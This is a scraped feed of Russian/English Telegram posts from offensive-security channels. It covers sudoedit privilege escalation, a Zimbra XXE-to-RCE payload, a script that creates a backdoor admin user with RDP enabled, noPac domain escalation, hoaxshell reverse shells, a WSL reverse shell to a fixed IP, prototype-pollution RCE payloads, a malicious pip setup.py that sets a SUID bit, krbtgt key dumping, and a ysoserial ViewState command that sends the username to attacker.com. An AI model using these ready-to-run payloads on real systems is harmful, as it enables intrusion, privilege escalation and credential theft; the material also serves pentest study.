Forwarded from frozen@rivens.life (Danila Saschenko)
XWiki.pdf
1.3 MB
На проекте столкнулся с
XWiki - приложением для создания вики. Так случилось, что оказалась уязвимая версия, что и послужило толчком для создания небольшого ресерча на тему последующей эксплуатации: абуз макросов, незаметная загрузка файлов, закрепление.👍1
Sudoedit Privilege Escalation (CVE-2023-22809)
#RU
Проверьте, что вы можете использовать sudoedit
Введя дополнительный дэш, мы можем заставить наш редактор работать от имени root
Теперь вы можете читать/писать файлы с привилегиями root
#EN
Check that you can use sudoedit
By introducing an extra dash, we can make our editor work as root
Now you can read/write files with root
Tools:
#RU
Проверьте, что вы можете использовать sudoedit
cat /etc/sudoersВведя дополнительный дэш, мы можем заставить наш редактор работать от имени root
export EDITOR='vim -- /path/to/your/files'Теперь вы можете читать/писать файлы с привилегиями root
sudoedit /etc/custom/service.conf#EN
Check that you can use sudoedit
cat /etc/sudoersBy introducing an extra dash, we can make our editor work as root
export EDITOR='vim -- /path/to/your/files'Now you can read/write files with root
sudoedit /etc/custom/service.confTools:
https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc🔥4
Forwarded from Похек
XXE to RCE Zimbra CVE-2019-9670
Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)
Payload XXE:
Metasploit:
Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.
Буду рад, если распространите этот материал!
Пользуйтесь на здоровье, но не думайте блечить 😉
Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)
Payload XXE:
xxe [Ниже приведу парочку примеров, как эксплуатировать эту вулну.
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
Metasploit:
msf > use exploit/linux/http/zimbra_xxe_rceArambiz - эксплойт на Python3:
msf exploit(zimbra_xxe_rce) > show targets
...targets...
msf exploit(zimbra_xxe_rce) > set TARGET < target-id >
msf exploit(zimbra_xxe_rce) > show options
...show and set options...
msf exploit(zimbra_xxe_rce) > exploit
clone https://github.com/oppsec/arbimz.gitZaber - эксплойт на Go:
pip3 install -r requirements.txt
python3 main.py --url https://example.com/
install github.com/oppsec/zaber@latestЕсли у вас не находит бинарь, то пропишите абсолютный путь.
zaber -u https://example.com
-u https://example.comА после работ не забудьте добавить
$HOME/go/bin/ в свой PATH 😉Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.
Буду рад, если распространите этот материал!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4
Сreate user via bat file extension
#RU
На данный момент изучаю Windows и его приколы.
Вот вам скрипт, для создания пользователя с правами администратора и с включенным RDP.
#EN
I am currently learning Windows and its tricks.
Here is a noscript to create an admin user with RDP enabled.
#RU
На данный момент изучаю Windows и его приколы.
Вот вам скрипт, для создания пользователя с правами администратора и с включенным RDP.
#EN
I am currently learning Windows and its tricks.
Here is a noscript to create an admin user with RDP enabled.
net user test password /add
net localgroup Administrators test /add
net localgroup “Remote Desktop Users” test /add
reg add “hklm\system\currentcontrolset\control\terminal server” /f /v fDenyTSConnections /t REG_DWORD /d 0❤2😁1
Обнимаю всех и надеюсь, что контент действительно заходит :)
Отдельно обнимаю @dnevnik_infosec
Отдельно обнимаю @dnevnik_infosec
❤4👍1🔥1
Domain Admin in a few seconds (CVE-2021-42278 | CVE-2021-42287)
Такой способ повышения уже существует почти два года, однако этот способ актуален и интересный. А какие компоненты оно затрагивает?
1. По стандарту в настройках, обычный пользователь домена может присоединить компьютер к AD только 10 раз.
Чтобы это проверить, можно выполнить следующую команду:
Чтобы отличать учетные записи пользователей от учетных записей компьютеров, они должны иметь в атрибуте
2.
Объединяя эти вулны, мы имеем примерно такой сценарий
Пользователь запрашивает
Сценарий эксплуатации выглядит так:
1. В домен добавляется новая учетная запись компьютера.
2. Созданная учетная запись компьютера переименовывается в соответствии с именем существующего контроллера домена
3. Запрашивается
4. Созданное имя учетной записи компьютера снова переименовывается в исходное значение.
5. Сервисный билет Kerberos запрашивается с использованием расширения
Звучит душно, благо есть noPac, который эксплуатирует данную проблему
THX:
Такой способ повышения уже существует почти два года, однако этот способ актуален и интересный. А какие компоненты оно затрагивает?
1. По стандарту в настройках, обычный пользователь домена может присоединить компьютер к AD только 10 раз.
Чтобы это проверить, можно выполнить следующую команду:
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuotaЧтобы отличать учетные записи пользователей от учетных записей компьютеров, они должны иметь в атрибуте
sAMAccountName на конце $. Однако прикол в том, что этот символ не всегда проверяется. Атрибутом имени учетной записи компьютера является sAMAccountName. Этот атрибут можно увидеть и отредактировать вручную с помощью ADSIEdit Tool2.
При запросе билета на обслуживание сначала необходимо предъявить TGT. Если запрашиваемый билет не найден KDC, KDC автоматически выполняет повторный поиск с последующим $. Если TGT получен для username, а пользователь username удален, то используя этот TGT для запроса сервисного билета для другого пользователя через S4U2self приведет к тому, что KDC будет искать username$ в AD. Объединяя эти вулны, мы имеем примерно такой сценарий
Пользователь запрашивает
TGT. Затем пользователь может попытаться удалить или переименовать исходную учетную запись компьютера. Получив TGT, пользователь может начать эксплуатировать sAMAccountName. А полностью зная, что KDC поставляет тикеты и временные сеансовые ключи пользователям и компьютерам в домене, мы это можем использовать для повышения привилегийСценарий эксплуатации выглядит так:
1. В домен добавляется новая учетная запись компьютера.
2. Созданная учетная запись компьютера переименовывается в соответствии с именем существующего контроллера домена
3. Запрашивается
Kerberos TGT с использованием обновленного имени учетной записи компьютера.4. Созданное имя учетной записи компьютера снова переименовывается в исходное значение.
5. Сервисный билет Kerberos запрашивается с использованием расширения
S4U2selfЗвучит душно, благо есть noPac, который эксплуатирует данную проблему
THX:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.htmlhttps://github.com/elastic/detection-rules/blob/a5359ca675267220afedf67795cd1fd04881b2c8/rules/windows/privilege_escalation_samaccountname_spoofing_attack.tomlhttps://github.com/WazeHell/sam-the-adminGitHub
GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user - GitHub - Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domai...
❤3
Forwarded from Похек
This media is not supported in your browser
VIEW IN TELEGRAM
Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости
В этой статье мы рассмотрим, как использовалась уязвимость
#CVE #RCE #моястатья
В этой статье мы рассмотрим, как использовалась уязвимость
use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.#CVE #RCE #моястатья
Bypass AV with Hoaxshell
hoaxshell - это генератор
Т.к пэйлоад генерится необычным образом, то
Пример самой базовый команды, который генерит шелл
Держите:
hoaxshell - это генератор
rev-shells для Windows, который взаимодействует через HTTPТ.к пэйлоад генерится необычным образом, то
hoaxshell хорошо справился с AV-решениями, хотя иногда он обнаруживается Microsoft Defender, пэйлоад все равно легко замаскировать с помощью других инструментов или даже вручную.Пример самой базовый команды, который генерит шелл
python3 hoaxshell.py -s 10.10.10.120Держите:
https://github.com/t3l3machus/hoaxshell🔥5
Connect abuse in Golang
Допустим у вас есть вебчик, который держится на
Однако, если мы будем использовать метод CONNECT, то результат будет другим
THX:
Допустим у вас есть вебчик, который держится на
Go. С большой вероятностью он будет использовать либу net/http, которая может преобразовать пути.curl http://example.com/../kek -> http://example.com/kekОднако, если мы будем использовать метод CONNECT, то результат будет другим
curl -X CONNECT http://example.com/../kek -> http://example.com/../kekTHX:
https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/golang❤2
JWT header parameter injections
Согласно спецификации
Как вы видите, эти контролируемые пользователем параметры указывают серверу-получателю, какой ключ использовать при проверке подписи.
Спецификация
Вы можете использовать это поведение, подписав модифицированный
Хотя вы можете вручную добавить или изменить параметр
Сгенерируйте новый ключ RSA.
Отправьте запрос, содержащий
Измените пэйлоад токена по своему усмотрению.
Выберите
Отправьте запрос, чтобы проверить, как ответит сервер.
Вы также можете выполнить эту атаку вручную, добавив заголовок
Согласно спецификации
JWS, обязательным является только параметр alg. Однако на практике заголовки JWT часто содержат несколько других параметров. Следующие из них представляют особый интерес для нас.jwk (JSON Web Key) - Предоставляет встроенный объект JSON, представляющий ключ.jku (JSON Web Key Set URL) - Предоставляет URL, по которому серверы могут получить набор ключей, содержащих правильный ключ.kid (Key ID) - предоставляет идентификатор, который серверы могут использовать для определения правильного ключа в случаях, когда есть несколько ключей на выбор. В зависимости от формата ключа, он может иметь соответствующий параметр kid.Как вы видите, эти контролируемые пользователем параметры указывают серверу-получателю, какой ключ использовать при проверке подписи.
Спецификация
JSON Web Signature (JWS) описывает дополнительный параметр заголовка jwk, который серверы могут использовать для встраивания своего открытого ключа непосредственно в сам токен в формате JWK.{
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
В идеале серверы должны использовать только ограниченный белый список открытых ключей для проверки подписей JWT. Однако неправильно настроенные серверы иногда используют любой ключ, встроенный в параметр jwk.Вы можете использовать это поведение, подписав модифицированный
JWT с помощью собственного закрытого ключа RSA, а затем вставив соответствующий открытый ключ в заголовок jwk.Хотя вы можете вручную добавить или изменить параметр
jwk в Burp, расширение JWT Editor предоставляет полезную функцию, которая поможет вам проверить эту уязвимость:Сгенерируйте новый ключ RSA.
Отправьте запрос, содержащий
JWT, в Burp Repeater.Измените пэйлоад токена по своему усмотрению.
Выберите
Embedded JWK. Когда появится запрос, выберите только что сгенерированный RSA-ключ.Отправьте запрос, чтобы проверить, как ответит сервер.
Вы также можете выполнить эту атаку вручную, добавив заголовок
jwk самостоятельно. Однако вам также может понадобиться обновить параметр kid заголовка JWT, чтобы он соответствовал kid встроенного ключа. Встроенная атака расширения сделает этот шаг за вас.GitHub
GitHub - blackberry/jwt-editor: A Burp Suite extension and standalone application for creating and editing JSON Web Tokens. This…
A Burp Suite extension and standalone application for creating and editing JSON Web Tokens. This tool supports signing and verification of JWS, encryption and decryption of JWE and automation of se...
❤4
Forwarded from Че там по сесурити?
Давно не виделись 👋
Недавно мне потребовалось расшифровать Kerberos для более глубокого исследования работы протокола.
Чем же хорош Kerberos? Все мы помним, что он защищает своих клиентов, шифруя все и вся. Например:
- Поля в AS-REP шифруются с использованием нескольких ключей: TGT-билет шифруется на ключе учётной записи krbtgt, а сессионный ключ на ключе, который вычисляется из пароля
- в TGS-REP пакете поля шифруются с участием нескольких ключей:
ключ сервиса, ключ krbtgt и сессионного ключа пользователя.
🟦 Если вы попробуете послушать сетевой трафик с помощью Wireshark во время обмена Krb-пакетами, то обнаружите внутри пакетов поля
🟦 Оказывается, Wireshark умеет дешифровать эти поля, как это заметил Clement Notin в своем посте Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark на medium. Нужно приготовить keytab файл (файл для хранения Kerberos ключей, чаще используется в Linux) и выставить некоторые настройки:
1️⃣ Получаем ключи пользователя/компьютера/krbtgt/через dcsync, используя impacket:
2️⃣ Готовим keytab-файл с помощью скрипта keytab.py , который написал Dirk-jan:
На 112-строке исправляем кортеж
Генерируем файл keytab с помощью скрипта:
3️⃣ Забираем файл
Идем в настройки
🟦 Помимо Kerberos, Wireshark будет декодировать пакеты DCE/RPC, LDAP и NTLMSSP blob'ы, что очень удобно для самостоятельного исследования протоколов. Добавляю метод в копилку лайфхаков
#kerberos #tips
Недавно мне потребовалось расшифровать Kerberos для более глубокого исследования работы протокола.
Чем же хорош Kerberos? Все мы помним, что он защищает своих клиентов, шифруя все и вся. Например:
- Поля в AS-REP шифруются с использованием нескольких ключей: TGT-билет шифруется на ключе учётной записи krbtgt, а сессионный ключ на ключе, который вычисляется из пароля
- в TGS-REP пакете поля шифруются с участием нескольких ключей:
ключ сервиса, ключ krbtgt и сессионного ключа пользователя.
enc-part (encrypted part?) или enc-authorization-data, в которых зашиты все интересности. secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user krbtgt
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user user
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user server$
На 112-строке исправляем кортеж
keys, добавляя собственные ключи:keys = [В моем случае это AES-256-ключи, поэтому keytype будет 18 (для AES-128 и RC4 используется 17 и 23 соответственно)
(18, '66ec115dcac0b861309080689dd92474a7a0def111e7977be4847eee00688a21'),
(18, '9a5f19e1ebe06c8f900669a0c6ebdfee91bf49e9cf99133439aad45c5e4c0a74'),
(18, '3209fa3b453a2a05b4345daa775d57ba704a73e06239544599d4d35df95d5aaa')
]
Генерируем файл keytab с помощью скрипта:
python keytab.py keys.bin
keys.bin на машину с Wireshark. Идем в настройки
Preferences > Protocols > KRB5 > там ставим галку "Try to decrypt Kerberos blobs" и указываем путь до файла C:\Users\user\Desktop\keys.bin. Применяем настройки#kerberos #tips
Please open Telegram to view this post
VIEW IN TELEGRAM
Medium
Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark
I often use Wireshark to analyze Windows and Active Directory network protocols, especially those juicy RPC 😉 But I’m often interrupted in…
👍1
Abuse WSL
#RU
И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить
Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив
#EN
And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run
Then we make sure that this feature really works and check if any
#RU
Если все ок, то проверьте, что у вас есть еще доступ к
#EN
If everything is ok, check that you have access to the bash shell (
Начинаем с базового | Starting with basic
OR
Если ответ видим
#RU
P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны
#EN
P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us
#RU
Мы можем выполнять/модифицировать различные бинари на основной машине
#EN
We can run/modify different binary on the main machine
Have fun👀
#RU
Windows Subsystem for Linux (WSL) - по факту данная функция в Windows, дает доступ к компактной версии файловой системе Linux, т.е мы можем выполнять практически любые команды Linux в Windows.И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить
wsl --install для включения данного функционала.Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив
Linux (по стандарту там будет Ubuntu)#EN
Windows Subsystem for Linux (WSL) - in fact this function in Windows, gives us access to a compact version of the Linux file system, i.e. we can execute almost any Linux command in Windows.And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run
wsl --install to enable this feature.Then we make sure that this feature really works and check if any
Linux distro is available for us (by default this would be Ubuntu)wsl --list --running#RU
Если все ок, то проверьте, что у вас есть еще доступ к
bash оболочке (bash.exe). Обычно он имеет путь следующий:C:\Windows\system32\bash.exe#EN
If everything is ok, check that you have access to the bash shell (
bash.exe). It usually has the path as follows:C:\Windows\system32\bash.exeНачинаем с базового | Starting with basic
wsl.exe "whoami"OR
bash.exe -c "whoami"Если ответ видим
root, то можно попробовать rev-shell | If the answer is root, you can try rev-shellbash.exe -c "bash -i >& /dev/tcp/10.10.10.128/5555 0>&1"#RU
P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны
#EN
P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us
#RU
Мы можем выполнять/модифицировать различные бинари на основной машине
#EN
We can run/modify different binary on the main machine
wsl.exe -e /mnt/c/Windows/System32/NeTrojan.exeHave fun
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳4
Там @dnevnik_infosec сегодня запостил много материала по PE в Windows, чекаем
Prototype Pollution + child_process.fork() = RCE
Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у
Т.е конструктор выглядит следующим образом
Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент
А значит потенциальный пейлоад будет выглядеть так
Или в виде JSON
Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у
child_process.fork() в Node.jschild_process.fork() - предоставляет возможность создавать подпроцессы с помощью child_process.spawn(). Метод fork() принимает объект с именем options, в котором одним из потенциальных параметров является свойство execArgv. Это массив строк, содержащих аргументы командной строки, которые должны быть использованы при порождении дочернего процесса.Т.е конструктор выглядит следующим образом
this.execArgv = options.execArgv;Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент
--eval, который позволяет передавать произвольный JavaScript, а он уже будет выполняться дочерним процессом. Т.е мы можем загружать свои собственные модули."execArgv": [
"--eval=require('<moduele_name>')"
]А значит потенциальный пейлоад будет выглядеть так
cat.__proto__.execArgv = ["-c", "touch /tmp/biba"]Или в виде JSON
"__proto__": { "execArgv":[ "--eval=require('child_process').execSync('touch /tmp/biba')" ] }👍5
Privilege Escalation via pip
Всеми наш любимый
После того, как мы сделали
Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
Собираем
И скачиваем наш пакет
И теперь запустим шелл
Have fun👍
P.S
Полный код в комментариях
THX:
Всеми наш любимый
pip позволяет автоматически запускать код, когда разработчики просто загружают пакет. Таким образом мы можем скачать пакет и использовать эту возможность для повышения привилегийПосле того, как мы сделали
sudo -l. Мы видим, что pip download или pip setup можно запустить от sudo, так что давайте этим воспользуемся.Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
setup.py. Импортируем os для запуска наших команд и в функции RunCommand поместим os.system("chmod u+s /bin/bash").Собираем
python3 -m buildИ скачиваем наш пакет
sudo pip3 download http://localhost/your-file.tar.gzИ теперь запустим шелл
bash -pHave fun
P.S
Полный код в комментариях
THX:
https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - wunderwuzzi23/this_is_fine_wuzzi: Demo of a malicious python package that will run code upon pip download or install
Demo of a malicious python package that will run code upon pip download or install - wunderwuzzi23/this_is_fine_wuzzi
❤4🔥1
Forwarded from iMelnik
⚠️ Фиксим NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED в Chrome на Android🤖 при работе с Burp🟠.
Мне потребовалось поковырять приложение для Android🤖.
Я настроил эмулятор для проксирования трафика в Burp. Вот отличный мануал. Однако Chrome по-прежнему выдавал ошибку о незащищенном соединении. Это связано с тем, что все версии Chrome 99+ получили CT (Certificate Transparency). Подробнее можно узнать тут
Чтобы запустить Chrome с флагом
Мне потребовалось поковырять приложение для Android🤖.
Я настроил эмулятор для проксирования трафика в Burp. Вот отличный мануал. Однако Chrome по-прежнему выдавал ошибку о незащищенном соединении. Это связано с тем, что все версии Chrome 99+ получили CT (Certificate Transparency). Подробнее можно узнать тут
Чтобы запустить Chrome с флагом
--ignore-certificate-errors-spki-list=ТУТ-ХЭШ-НАШЕГО-СЕРТА, нужно выполнить следующие действия. решение взята от сюда.#$YOUR_CA_CERTIFICATE твой сертификат от BurpSuite Certificate.
#получаем его хэш
openssl x509 -in $YOUR_CA_CERTIFICATE -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64#создаём файл с ванлайнером
echo "chrome --ignore-certificate-errors-spki-list=$YOUR_SPKI_FINGERPRINT" > burp-chrome-android😁3👍1
Forwarded from Похек (SkyNet)
Atomic Red Team
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
Пример запуска тестов:
Для безумцев:
#tools
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); Install-AtomicRedTeam
Далее советую вам обратиться к этой и этой странице документации. Вы можете загрузить все тесты, но лучше конечно под конкретную операционную систему) Пример запуска тестов:
Invoke-AtomicTest T1003.003 - просто запуск теста или группы тестовInvoke-AtomicTest T1003.003 -TestNumbers 1,2 - вы выбрали только 1 и 2 тесты из группыInvoke-AtomicTest T1003.003 -ShowDetails - вы сможете прочитать подробную информацию о конкретном тесте/ахДля безумцев:
Invoke-AtomicTest All
Также советую вам посмотреть интересное видео от наших западных коллег об этом прекрасном инструменте)#tools
YouTube
How To Test Your Security with Atomic Red Team
https://jh.live/pwyc || Jump into Pay What You Can training for more free labs just like this! https://jh.live/pwyc
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
❤1
Insecure Deserialization in C#
Фреймворк .NET предлагает нам различные способы сериализации наших объектов😫
Смотрим BinaryFormatter
Предлагаю немного посмотреть на используемые классы и методы.
Смотрим ObjectDataProvider
Класс🤓
Говоря по простому, класс позволяет использовать
Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.
Вот пример кода, как это все работает:
Необходимо добавить в качестве ссылки👀
YSOSERIAL.NET
Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.
Играемся с ViewState
Как-то раз была статья об эксплуатации десериализации в ASP.NET через
Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через
И получаем большой ответ в виде base64 и пихаем его в
Фреймворк .NET предлагает нам различные способы сериализации наших объектов
Смотрим BinaryFormatter
using System.Runtime.Serialization.Formatters.Binary;
public class SomeClass
{
public string SomeProperty { get; set; }
public double SomeOtherProperty { get; set; }
}
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(obj.SomeProperty);
Console.WriteLine(obj.SomeOtherProperty);
}
}
Предлагаю немного посмотреть на используемые классы и методы.
BinaryFormatter() - по факту сериализует и десериализует объекты. Замечу что сами Microsoft в своей документации пишут, что тип BinaryFormatter является небезопасным и устаревшим. Достается из либы System.Runtime.Serialization.Formatters.BinaryMemoryStream() - помогает уже читать и записывать данные с помощью памяти в качестве резервного хранилища. Его вообще также не рекомендуют использовать, однако по заявлениям сообщества аналогов нету. Из-за своей специфики он чаще всего может привести вас к OutOfMemoryException. Про его проблемы рекомендую лучше почитать статью, в котором кратко, но поясняют его проблемы и как их решать Смотрим ObjectDataProvider
Класс
ObjectDataProvider оборачивает и создает объект, который можно использовать в качестве источника привязки. Звучит не очень, знаю. Говоря по простому, класс позволяет использовать
MethodParameters для установки произвольных параметров, а затем использовать MethodName для вызова функции объекта, объявленной с использованием произвольных параметров.Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.
Вот пример кода, как это все работает:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}Необходимо добавить в качестве ссылки
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для того, чтобы загрузить System.Windows.Data, иначе код не скомпилируется YSOSERIAL.NET
Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.
Играемся с ViewState
Как-то раз была статья об эксплуатации десериализации в ASP.NET через
ViewState ViewState - это метод, в ASP.NET. Используется для сохранения значений страницы и элементов управления между страницами. Когда HTML для страницы отображает, текущее состояние страницы и значения, которые должны быть сохранены при возврате, то они сериализуются в base64 и хранятся в параметре ViewState.Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через
ysoserial.netysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"И получаем большой ответ в виде base64 и пихаем его в
ViewStatePlease open Telegram to view this post
VIEW IN TELEGRAM
❤6
Произошел абьюз PPL
Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.
Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.
Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault
Держите👍
https://github.com/gabriellandau/PPLFault
Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.
Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.
Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault
Держите
https://github.com/gabriellandau/PPLFault
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - gabriellandau/PPLFault
Contribute to gabriellandau/PPLFault development by creating an account on GitHub.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔4🗿2👍1